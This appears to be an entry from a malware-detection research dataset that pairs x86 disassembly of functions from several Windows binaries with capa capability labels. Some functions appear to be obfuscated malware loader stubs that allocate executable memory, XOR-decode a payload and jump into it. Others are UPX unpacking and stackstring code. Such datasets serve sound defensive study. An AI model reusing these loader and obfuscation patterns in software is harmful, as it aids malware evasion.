joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cd5b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x577db8
mov eax, dword fs:[0]
push eax
mov eax, 0x12d8
call fcn.0053d080
mov eax, dword [0x5edd38]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x12c4], edi
mov dword [ebp - 0x12c8], eax
call fcn.0040aac0
cmp eax, 8
jg 0x4cdd05
cmp dword [edi + 0x10], 2
jbe 0x4cdd05
push 0x19
xor eax, eax
mov dword [ebp - 0x1050], 0
push str.bEnableJunctionPointCheck
lea ecx, [ebp - 0x104c]
mov dword [ebp - 0x103c], 0
mov dword [ebp - 0x1038], 7
mov word [ebp - 0x104c], ax
call fcn.00408f30
push 0x39
xor eax, eax
mov dword [ebp - 4], 0
push str.SoftwarePoliciesAdobeAcrobat_ReaderDCFeatureLockDown
lea ecx, [ebp - 0x12e4]
mov dword [ebp - 0x12d4], 0
mov dword [ebp - 0x12d0], 7
mov word [ebp - 0x12e4], ax
call fcn.00408f30
lea eax, [ebp - 0x1050]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x104c]
push eax
lea eax, [ebp - 0x12e4]
push eax
push 0x80000002
call fcn.004167d0
add esp, 0x10
mov byte [ebp - 0x12bd], al
mov ecx, dword [ebp - 0x12d0]
mov byte [ebp - 4], 2
cmp ecx, 8
jb 0x4cd6c8
inc ecx
push ecx
push dword [ebp - 0x12e4]
lea ecx, [ebp - 0x12e4]
call fcn.0040a2e0
xor eax, eax
mov dword [ebp - 0x12d4], 0
mov dword [ebp - 0x12d0], 7
mov word [ebp - 0x12e4], ax
mov eax, dword [ebp - 0x1038]
mov dword [ebp - 4], 3
cmp eax, 8
jb 0x4cd70a
inc eax
lea ecx, [ebp - 0x104c]
push eax
push dword [ebp - 0x104c]
call fcn.0040a2e0
cmp byte [ebp - 0x12bd], 0
mov dword [ebp - 4], 0xffffffff
je 0x4cdd05
cmp dword [ebp - 0x1050], 0
je 0x4cdd05
xorps xmm0, xmm0
mov dword [ebp - 0x1014], 0
movq qword [ebp - 0x101c], xmm0
invalid
test esp, esp
out dx, eax
Function at 0x1000be60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000be69
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1000c61e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10024140], 0
push esi
push edi
jne 0x1000c594
call fcn.1000c500
test eax, eax
je 0x1000c5d9
mov eax, dword [0x10024140]
cmp eax, 1
jne 0x1000c5b5
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000c5d9
jmp 0x1000c61b
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000c61b
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000c5dd
xor eax, eax
jmp 0x1000c61b
mov eax, dword [esi]
push dword [0x10024140]
call edi
mov edi, eax
test edi, edi
je 0x1000c5ff
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000c61b
lea edi, [esi + 0xff0]
push esi
push dword [0x10024140]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000c605
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000c580

Function at 0x1000cc2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022cac]
jne 0x1000cc34
repz ret
jmp fcn.10010608

Function at 0x10014ea0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10014eaf
pop dword [ebp - 0x50]
mov eax, 0xd5424a1c
sub eax, 0xc540fb6d
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3b426
push 0
mov eax, 0xc201e34a
add eax, 0x4dffce66
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x4d89
mov edi, eax
mov esi, 0xfdf75ea2
add esi, 0x120b535e
add esi, dword [ebp - 0x50]
mov ebx, 0x6d8be80e
sub ebx, 0x41edeb46
sub dword [ebp - 0x18], 0x4407b77c
mov edx, dword [esi]
xor dword [ebp - 0x30], 0xcfdc0fde
sub edx, ebx
add dword [ebp - 0x4c], ebx
mov dword [edi], edx
xor dword [ebp - 0x10], edx
add edi, 0xdab99cd7
add edi, 0x2546632d
add esi, 0xbe5a9983
sub esi, 0xbe5a997f
loop 0x10014f08
add eax, 0x3b077e44
add eax, 0xc4f9aab3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x20ea7e01
sub ecx, 0x10ea7e01
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1000ec86
Capabilities:
Hash data using djb2

Disassembly:
movzx eax, word [ecx]
mov edx, 0x1505
push esi
xor esi, esi
jmp 0x1000eca0
imul edx, edx, 0x21
movzx eax, ax
xor edx, eax
inc esi
movzx eax, word [ecx + esi*2]
test ax, ax
jne 0x1000ec93
imul eax, edx, 0x41c64e6d
imul ecx, edx, 0x10dcd
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret

Function at 0x1000f8cb
Capabilities:
Hash data using djb2

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x1000f8d7
or eax, 0xffffffff
pop esi
ret
movzx eax, word [esi]
push ebx
push edi
mov edi, 0x1505
xor ebx, ebx
jmp 0x1000f8ff
movzx ecx, ax
add eax, 0xffffffbf
cmp ax, 0x19
lea edx, [ecx + 0x20]
cmova edx, ecx
imul edi, edi, 0x21
xor edi, edx
inc ebx
movzx eax, word [esi + ebx*2]
test ax, ax
jne 0x1000f8e5
imul eax, edi, 0x41c64e6d
imul ecx, edi, 0x10dcd
pop edi
pop ebx
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret

Function at 0x1001e57c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1001e58b
pop dword [ebp - 0x10]
mov eax, 0x8c27bf00
sub eax, 0x7c25d975
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xfae1677d
sub dword [ebp - 0x20], 0xac8f2232
mov dword [ebp - 0x1c], 0xe925ba9
add dword [ebp - 0x1c], 0x23a0f09c
mov dword [ebp - 0x18], 0x61e88600
add dword [ebp - 0x18], 0xea63be2e
mov dword [ebp - 0x14], 0xed13f4a2
sub dword [ebp - 0x14], 0xed13f4a2
lea eax, [ebp - 0x20]
push eax
mov eax, 0xd41426b3
sub eax, 0xc411b5b7
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x6bb96f3d
add dword [ebp - 0x20], 0x8b8fa19
mov dword [ebp - 0x1c], 0xd0d68554
add dword [ebp - 0x1c], 0x7095dc21
mov dword [ebp - 0x18], 0xc2b193b7
sub dword [ebp - 0x18], 0x5f42274b
mov dword [ebp - 0x14], 0xec6ad7f4
add dword [ebp - 0x14], 0x1395280c
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3d4c2
push 0
call eax
mov ecx, 0x47c9
xor esi, esi
add esi, eax
mov edi, 0x153c9d53
sub edi, 0x5388153
add edi, dword [ebp - 0x10]
mov edx, 0xf5cfc3ee
sub edx, 0xc727d5fa
xor dword [ebp - 0xc], eax
mov ebx, dword [edi]
add dword [ebp - 8], 0xd25902b3
sub ebx, edx
add dword [ebp - 0xc], 0x3dc96bbd
mov dword [esi], ebx
xor dword [ebp - 4], edi
add esi, 0x3cb50f75
add esi, 0xc34af08f
add edi, 0xb643c329
sub edi, 0xb643c325
loop 0x1001e6a4
add eax, 0x42f4afc4
sub eax, 0x42f39dcd
mov ebx, eax
add eax, 0xdc87c47d
add eax, 0x23783b88
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x10156490
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push eax
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jle 0x101564dc
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x10], eax
xor edi, edi
push 0
mov ebx, ecx
push ecx
mov esi, edx
push edx
push dword [ebp - 0x10]
call sub.wsock32.dll_send
cmp eax, 0xffffffff
je 0x101564e0
add edi, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
cmp dword [eax + 4], 0
je 0x10156515
mov eax, edi
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x101564d4
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x1015653f
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 4]
cmp dword [ecx + 4], 0
jne 0x1015653f
mov ecx, dword [ebp - 0x10]
mov edx, 2
push dword [ebp + 0x18]
call fcn.101a0dc0
add esp, 4
test eax, eax
mov ecx, ebx
mov edx, esi
jns 0x101564af
jmp 0x10156548
cmp edi, ebx
jge 0x101564d2
mov ecx, dword [ebp - 0x10]
mov edx, 2
push dword [ebp + 0x18]
call fcn.101a0dc0
add esp, 4
mov ecx, eax
xor eax, eax
dec eax
test ecx, ecx
mov ecx, ebx
mov edx, esi
jns 0x101564af
jmp 0x101564d4
push eax
call fcn.101a77e0
add esp, 4
xor eax, eax
dec eax
jmp 0x101564d4

Function at 0x10157813
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x10157822
pop dword [ebp - 4]
mov eax, 0x10157822
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x9c260c83
sub dword [ebp - 0x14], 0x4dd3c738
mov dword [ebp - 0x10], 0xa34e708e
add dword [ebp - 0x10], 0x8ee4dbb7
mov dword [ebp - 0xc], 0xf38b52cb
add dword [ebp - 0xc], 0x58c0f163
mov dword [ebp - 8], 0x5fca69da
sub dword [ebp - 8], 0x5fca69da
lea eax, [ebp - 0x14]
push eax
mov eax, 0x59bc725d
sub eax, 0x499d822d
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xc1008383
add dword [ebp - 0x14], 0xb371e5d3
mov dword [ebp - 0x10], 0x23533e6b
add dword [ebp - 0x10], 0x1e19230a
mov dword [ebp - 0xc], 0x99a3a82c
add dword [ebp - 0xc], 0xc9cbc440
mov dword [ebp - 8], 0x3693b8b
add dword [ebp - 8], 0xfc96c475
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xb6b088c4
add eax, 0x596e6774
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x36ec4
push 0
call eax
mov ecx, 0xbf36861b
add ecx, 0x40c9c36e
xor ebx, ebx
add ebx, eax
mov edi, 0x45f0728e
sub edi, 0x35cfcc8e
add edi, dword [ebp - 4]
mov edx, 0x44c118c1
sub edx, 0x8164c957
mov esi, dword [edi]
xor esi, edx
mov dword [ebx], esi
add ebx, 0xd6b18ca8
sub ebx, 0xd6b18ca4
add edi, 0xe34cfb04
add edi, 0x1cb30500
loop 0x10157941
add eax, 0x118f7
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x10159c80
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10159c90
Function at 0x4097bc
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409870
jmp 0x409865
cmp dword [esi + 0x10], 0x1000
jne 0x409851
test byte [esi + 0x15], 1
jne 0x409851
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409810
cmp eax, 2
je 0x409810
cmp eax, 0x10
je 0x409810
cmp eax, 0x20
jne 0x409825
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409825
mov bl, 1
xor ebp, ebp
jmp 0x409836
mov eax, dword [esi]
add eax, ebp
call fcn.004097b4
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409829
test bl, bl
je 0x409851
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409870
mov eax, dword [esi + 4]
cmp eax, edi
je 0x4097e8
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x571200
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x107000]
push edi
or ebp, 0xffffffff
jmp 0x571222
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x571229
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x571218
mov eax, 1
add ebx, ebx
jne 0x57123b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x57124c
jne 0x57126b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x57126b
dec eax
add ebx, ebx
jne 0x571258
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x571230
add ebx, ebx
jne 0x571267
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5712bd
xor ecx, ecx
sub eax, 3
jb 0x571283
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5712f2
sar eax, 1
mov ebp, eax
jmp 0x57128e
add ebx, ebx
jne 0x57128e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x57125c
inc ecx
add ebx, ebx
jne 0x57129c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x57125c
add ebx, ebx
jne 0x5712a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x57129e
jne 0x5712ba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x57129e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5712dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5712ce
jmp 0x57121e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5712dc
add edi, ecx
jmp 0x57121e
pop esi
mov edi, esi
mov ecx, 0x4f0d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5712fa
cmp byte [edi], 0x22
jne 0x5712fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5712ff
lea edi, [esi + 0x16e000]
mov eax, dword [edi]
or eax, eax
je 0x571377
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1827fc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x182914]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x57132c
mov ecx, edi
jns 0x57135b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x182918]
or eax, eax
je 0x571371
mov dword [ebx], eax
add ebx, 4
jmp 0x571349
call dword [esi + 0x182928]
mov ebp, dword [esi + 0x18291c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5713ab
sub esp, 0xffffff80
jmp 0x4a9d14
Function at 0x4015245
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4008bc0]
jne 0x401524e
ret
jmp fcn.040155ef

Function at 0x4015f13
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4015f22
pop dword [ebp - 0x50]
mov eax, 0x2d87dd81
sub eax, 0x29867e5f
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x2d0e9f4e
add dword [ebp - 0x60], 0x2143a5fd
mov dword [ebp - 0x5c], 0x5b11ebdf
sub dword [ebp - 0x5c], 0x28de9f9a
mov dword [ebp - 0x58], 0x413d019c
add dword [ebp - 0x58], 0xb0f4292
mov dword [ebp - 0x54], 0xd50044f9
add dword [ebp - 0x54], 0x2affbb07
lea eax, [ebp - 0x60]
push eax
mov eax, 0xbb62e7da
add eax, 0x489d283e
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x440de98a
sub dword [ebp - 0x60], 0xcf9b8034
mov dword [ebp - 0x5c], 0x1cdfcc61
sub dword [ebp - 0x5c], 0xdb736aec
mov dword [ebp - 0x58], 0xee894c25
add dword [ebp - 0x58], 0x74e62047
mov dword [ebp - 0x54], 0x7bbfe481
sub dword [ebp - 0x54], 0x7bbfe481
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x343f8
push 0
call eax
mov ecx, 0x3ef7
xor ebx, ebx
add ebx, eax
mov edi, 0x3ed31000
sub edi, 0x3ac91000
add edi, dword [ebp - 0x50]
mov edx, 0x72c838ae
sub edx, 0x8ce947b1
xor dword [ebp - 0x14], esi
mov esi, dword [edi]
mov dword [ebp - 0x2c], 0xec5196da
sub esi, edx
mov dword [ebx], esi
add dword [ebp - 0x30], 0xefcca405
add ebx, 0x967a5a63
sub ebx, 0x967a5a5f
add edi, 4
loop 0x401603b
add eax, 0xb407c47a
sub eax, 0xb406d5cb
mov ebx, eax
add eax, 0xfec74e6c
sub eax, 0xfec74e67
mov ecx, 0x8ded80e9
sub ecx, 0x89ed80e9
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x4010be
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x574e04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0xc]
jae 0x4010dd
xor eax, eax
jmp 0x401186
push ebx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
push edi
test eax, eax
jns 0x4010ef
fadd qword [0x554d68]
fmul qword [0x554d60]
push ecx
push ecx
fstp qword [esp]
call fcn.00504b50
pop ecx
pop ecx
call fcn.00508da6
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push 0x554464
shl edi, 0xa
mov dword [ebp - 0x14], 0x74726956
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push edi
push 0
call eax
mov ebx, eax
mov eax, esi
call fcn.004010ae
push eax
push dword [esi + 4]
mov dword [ebp - 0x18], eax
push ebx
call fcn.00506bd0
mov eax, dword [esi + 4]
add esp, 0xc
test eax, eax
je 0x401174
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x18]
add eax, ebx
mov dword [esi + 8], eax
mov dword [esi + 0xc], edi
mov eax, edi
pop edi
mov dword [esi + 4], ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005047ac
leave
ret 4

Function at 0x401194
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x574e04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, esi
call fcn.004010ae
cmp dword [ebp + 8], eax
jae 0x4011b7
xor eax, eax
jmp 0x401291
mov eax, dword [ebp + 8]
fild dword [ebp + 8]
test eax, eax
jns 0x4011c7
fadd qword [0x554d68]
fmul qword [0x554d60]
push ecx
push ecx
fstp qword [esp]
call fcn.00504b50
pop ecx
pop ecx
call fcn.00508da6
shl eax, 0xa
mov dword [ebp - 0x28], eax
cmp eax, dword [esi + 0xc]
jb 0x4011b0
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x20]
push eax
push 0x554464
mov dword [ebp - 0x20], 0x74726956
mov dword [ebp - 0x1c], 0x416c6175
mov dword [ebp - 0x18], 0x636f6c6c
mov byte [ebp - 0x14], 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 4
push 0x1000
push dword [ebp - 0x28]
push 0
call eax
mov dword [ebp - 0x2c], eax
mov eax, esi
call fcn.004010ae
push eax
push dword [esi + 4]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x2c]
call fcn.00506bd0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 0x554464
mov dword [ebp - 0x10], 0x74726956
mov dword [ebp - 0xc], 0x466c6175
mov dword [ebp - 8], 0x656572
call edi
push eax
call ebx
push 0x8000
push 0
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
add ecx, eax
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x28]
pop edi
mov dword [esi + 8], ecx
mov dword [esi + 0xc], eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005047ac
leave
ret 4
Function at 0x4027d7
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x574e04]
xor eax, esp
mov dword [esp + 0x198], eax
push edi
xor edi, edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi], vtable.DeHJfsvDa.0
mov dword [esi + 0x38], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov eax, vtable.CBuffer.0
mov dword [esi + 0x2c], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x48], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x4c], eax
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi + 0x58], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 4], eax
push edi
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esp + 0x19c]
or dword [esi + 0x64], 0xffffffff
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x14], edi
pop edi
xor ecx, esp
mov eax, esi
call fcn.005047ac
mov esp, ebp
pop ebp
ret
Function at 0x402cfb
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov esi, 0x40000
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp + 8], eax
cmp eax, esi
jl 0x402d53
and dword [ebp - 8], 0
push 0
push esi
push dword [ebp - 0xc]
push dword [ebx + 0x64]
call edi
test eax, eax
jg 0x402d3f
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x402d27
cmp dword [ebp - 8], 0xf
je 0x402d81
sub dword [ebp + 8], esi
add dword [ebp - 4], eax
add dword [ebp - 0xc], esi
cmp dword [ebp + 8], esi
jge 0x402d23
xor esi, esi
cmp dword [ebp + 8], esi
jle 0x402d79
push 0
push dword [ebp + 8]
push dword [ebp - 0xc]
push dword [ebx + 0x64]
call edi
test eax, eax
jg 0x402d71
inc esi
cmp esi, 0xf
jl 0x402d5a
cmp esi, 0xf
je 0x402d81
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x402d84
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x402ed6
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, eax
mov eax, dword [esi + 0x198]
push edi
xor edi, edi
cmp eax, edi
jne 0x402ef7
mov dword [esi + 0x1b8], 0x598
jmp 0x402f0b
cmp eax, 0x598
jbe 0x402f05
xor eax, eax
jmp 0x403019
mov dword [esi + 0x1b8], eax
push ebx
mov eax, esi
mov dword [esi + 0x64], edi
call fcn.0040301f
xor eax, eax
inc eax
mov dword [esi + 0x38], edi
mov ebx, 0x57f1dc
mov dword [ebp - 8], edi
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 5
mov dword [esi + 0x3c], eax
call edi
mov dword [esi + 0x48], eax
test eax, eax
jne 0x402f47
push ebx
call edi
mov dword [esi + 0x48], eax
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
mov ebx, 0xffff
push ebx
push dword [esi + 0x40]
mov dword [ebp - 4], 0x40000
call edi
push 4
lea eax, [ebp - 4]
push eax
push 0x1002
push ebx
push dword [esi + 0x40]
mov dword [ebp - 4], 0x40000
call edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040305f
test eax, eax
je 0x402fd5
lea eax, [esi + 0x58]
push eax
xor edi, edi
push edi
push esi
push 0x4031c1
push edi
push edi
call fcn.0050513b
add esp, 0x18
mov dword [esi + 0x54], eax
cmp eax, edi
je 0x402fc1
push dword [esi + 0x2c]
mov dword [ebp - 8], 1
call dword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x403015
push 0x65f
mov dword [esi + 0x5c], 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x402feb
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov dword [esi + 0x5c], 0xb
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], 5
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, esi
mov ebx, eax
call fcn.0040372b
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 8]
pop ebx
pop edi
pop esi
leave
ret 8